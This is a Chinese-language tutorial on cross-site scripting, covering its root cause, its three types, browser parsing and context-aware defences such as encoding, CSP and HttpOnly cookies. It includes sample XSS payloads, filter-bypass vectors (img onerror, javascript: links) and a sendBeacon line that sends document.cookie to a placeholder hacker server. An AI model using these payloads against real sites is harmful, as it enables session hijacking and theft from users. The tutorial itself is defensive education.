如果说SQL注入是**"拆房子"** (破坏数据库结构),那XSS(跨站脚本攻击)就是**"给房子安装窃听器和遥控器"**(劫持用户的浏览器)。
它和SQL注入并称Web安全领域的"卧龙凤雏",但它的设计机理和攻击链路要复杂得多。
下面我从设计本质 、底层工作原理 和浏览器渲染机制三个层面,为你彻底拆解XSS。
第一部分:设计本质 ------ "信任的错付"
XSS的核心根因是:Web应用将用户输入的"恶意脚本"当作"可信页面内容"返回给了浏览器,而浏览器无条件信任并执行了这段脚本。
它的底层逻辑和SQL注入"指令与数据混淆"如出一辙,但战场从数据库服务端 转移到了浏览器客户端。
经典错误场景(后端伪代码):
java
// 错误做法:直接将用户输入的评论内容,原样输出到HTML页面
String userComment = request.getParameter("comment");
response.getWriter().write("<div>用户说:" + userComment + "</div>");
如果攻击者输入的 comment 是:
html
<script>alert('你的Cookie是:' + document.cookie)</script>
最终返回给浏览器的HTML变成:
html
<div>用户说:<script>alert('你的Cookie是:' + document.cookie)</script></div>
关键点 :浏览器解析HTML时,遇到 <script> 标签,立刻停止渲染,开始执行JavaScript。用户的输入,变成了页面逻辑的一部分------这就是XSS的本质。
第二部分:XSS的三大类型(基于"攻击链路"分类)
理解XSS的工作原理,必须先分清它的三种形态,因为它们的触发时机和防御策略完全不同。
| 类型 | 触发链条(数据流向) | 危害等级 | 典型场景 |
|---|---|---|---|
| 反射型 XSS | 恶意脚本在HTTP请求参数 中 → 服务端直接拼接返回 → 浏览器立即执行。 | 中(需诱导用户点击恶意链接) | 搜索框错误提示、URL参数回显。 |
| 存储型 XSS | 恶意脚本存入数据库 → 正常用户访问某页面时,服务端从DB取出并返回 → 浏览器执行。 | 极高(被动触发,无需用户交互) | 博客评论区、留言板、用户昵称展示。 |
| DOM 型 XSS | 全程在浏览器端 ,不经过服务端。恶意脚本通过修改 document.location、innerHTML 等DOM API,在本地渲染时执行。 |
高(难防御,因为服务端无法过滤) | 单页应用(SPA)中的 window.location.hash 取值直接写入页面。 |
第三部分:底层工作原理 ------ 浏览器是如何"被骗"的?
要彻底理解XSS,必须深入浏览器的解析与执行引擎。
1. HTML解析器(Parser)的"贪婪"
浏览器拿到HTML文本后,会启动HTML解析器逐字符扫描。当它发现 <script> 标签或 onclick、onerror、javascript: 等事件处理/伪协议 时,会立即切换解析模式:
-
非脚本内容 :按HTML DOM树结构解析(如
<div>、<p>)。 -
脚本内容 :暂停HTML解析,将标签内的文本交给 JavaScript引擎(如V8) 直接编译执行。
2. 同源策略(SOP)的"信任盲区"
浏览器遵循"同源策略"------来自a.com的脚本可以访问a.com的Cookie、LocalStorage。
XSS之所以致命,是因为恶意脚本运行在"受害站点"的源(Origin)下。因此,这段脚本可以:
-
窃取会话 :
navigator.sendBeacon('//黑客服务器/cookie', document.cookie) -
劫持操作 :用
fetch模拟用户发起转账请求。 -
篡改界面 :通过
document.body.innerHTML替换整个页面为钓鱼登录框。
3. 编码与上下文的"多维陷阱"(最难防御的点)
XSS的防御难点在于,同一个字符串在不同上下文中,转义规则完全不同。
-
HTML标签内 :需要转义
<、>、&、"、'→ 防止闭合标签。 -
HTML属性内 :需要转义
"和'→ 防止提前闭合属性,注入onerror事件。 -
JavaScript字符串内 :需要转义
\和'→ 防止闭合引号,注入恶意逻辑。 -
CSS样式内 :需要转义
\和()→ 防止expression或url()注入。
经典绕过案例 :
如果你的过滤器只过滤了 <script> 标签,攻击者可以改用:
html
<img src="x" onerror="alert('XSS')"> <!-- 利用图片加载失败触发事件 -->
<a href="javascript:alert('XSS')">点击</a> <!-- 利用伪协议 -->
<body onload="alert('XSS')"> <!-- 利用页面加载事件 -->
第四部分:终极防御的"设计哲学" ------ 上下文感知输出编码
如果你只记住一句话,那就是:永远不要在输出时信任任何输入,且必须根据"数据将要出现的位置"进行对应的编码。
-
HTML 实体编码(最基础的防御)
将
&、<、>、"、'转换为&、<、>、"、'。这样,<script>在页面中显示为纯文本标签 ,而不会被HTML解析器识别为代码。(注意:这仅对HTML Body上下文有效,在JavaScript或URL上下文中失效。)
-
CSP(内容安全策略)------ 白名单防御
这是现代浏览器的"终极杀手锏"。通过在HTTP响应头设置
Content-Security-Policy: script-src 'self',强制浏览器只执行本域或指定白名单域下的JS文件 ,完全禁止内联脚本(<script>和onclick)执行。即使存在注入点,恶意代码也无法运行。 -
HttpOnly Cookie ------ 守住最后底线
设置
Set-Cookie: sessionId=xxx; HttpOnly,告诉浏览器禁止任何JavaScript脚本(包括正常脚本和恶意XSS脚本)读取该Cookie。这能阻断XSS最核心的"会话窃取"目标。
第五部分:给开发者的"避坑手册"
-
在Java后端(JSP/Thymeleaf) :使用模板引擎自带的转义功能(如Thymeleaf的
th:text默认转义),绝对避免 使用th:utext(未转义)或out.println直接输出用户参数。 -
在JavaScript前端(React/Vue) :框架默认会转义插值(如
{ variable }),但致命风险 在于v-html、dangerouslySetInnerHTML和innerHTML直接赋值------不到万不得已(如渲染富文本),绝不动用它们。 -
富文本处理(必须用HTML时) :绝不能自己写正则过滤,必须使用成熟的库,如 DOMPurify (前端)或 Jsoup (后端),它们基于DOM树解析,只允许白名单标签(如
<p>、<b>)存活,剔除非白名单脚本。
最后,回答你可能的疑惑:为什么XSS比SQL注入更难对付?
因为SQL注入针对的是单一固定目标(数据库) ,修复了代码就能一劳永逸;而XSS的战场在千千万万个不同的浏览器版本、插件和编码环境 中,且前端JavaScript生态的极度灵活性(如 eval、setTimeout 字符串执行)给攻击者提供了无穷无尽的变种。